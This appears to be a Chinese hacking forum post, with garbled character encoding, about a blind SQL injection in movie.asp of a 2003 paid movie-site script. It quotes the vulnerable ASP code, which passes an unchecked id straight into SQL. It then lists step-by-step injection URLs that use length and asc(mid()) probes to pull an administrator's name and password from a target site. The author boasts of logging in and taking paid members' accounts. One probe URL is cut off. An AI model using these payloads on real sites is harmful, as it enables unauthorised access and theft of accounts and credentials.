近日學(xué)習(xí)sql injection,下載金梅收費(fèi)電影程序2003會(huì)員版看了一通, 發(fā)現(xiàn)movie.asp這個(gè)文件有問(wèn)題:
dim sql
dim rs
articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits+1 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1
title=rs("title")
ittype=rs("typeid")
沒(méi)有對(duì)變量做任何檢查,那就別怪我了,呵呵,找了個(gè)目標(biāo)網(wǎng)站,
我們開始測(cè)試管理員帳號(hào)的位數(shù),因?yàn)楸4婀芾韱T帳號(hào)的字段名為name,所以語(yǔ)句為:
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>4)
正常返回頁(yè)面,由此我們可以知道管理員的帳號(hào)是大于4位的!
我們繼續(xù),
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>
"無(wú)法顯示網(wǎng)頁(yè)",出錯(cuò)了,由此我們可以知道管理員的帳號(hào)是大于等于8位的
我們?cè)賮?lái),
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)=8)
正常返回頁(yè)面,好極了,由此得出
name為8位
同樣
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(pwd)=21)
正常返回頁(yè)面
pwd為21位,TNND的,這么長(zhǎng)!
不管了,我們接下來(lái)開始測(cè)試管理員的用戶名
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>50)
正常返回頁(yè)面,看來(lái)還不夠大.
注:mid函數(shù)可以把密碼分成若干部分取出,使用方法 mid(字符串,起始位,取出的字符串的長(zhǎng)度)
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>100)
"無(wú)法顯示頁(yè)面",看來(lái)比100還小.
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))=100)
正常返回頁(yè)面,于是我們可以得到管理員的用戶名第一位的asc碼為:100
通過(guò)查詢asc碼表可以得到,
name的第一位為:d
接下來(lái)順利的得到了name=darkeyes^
然后我們開始測(cè)試pwd,呼,有21位啊,真是路漫漫其修遠(yuǎn)啊!:)
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>100)
正常顯示頁(yè)面,再來(lái)
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>110)
"無(wú)法顯示頁(yè)面",比110小哦,呵呵
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))=102)
正常顯示頁(yè)面,對(duì)了,得到
pwd的第一位為:f
最后順利的得到了
pwd=xyfsdb7ew8y654231123d
找到管理頁(yè)面,登錄進(jìn)去,拿了幾個(gè)黃金會(huì)員的帳號(hào),就去慢慢欣賞movies了,呵呵。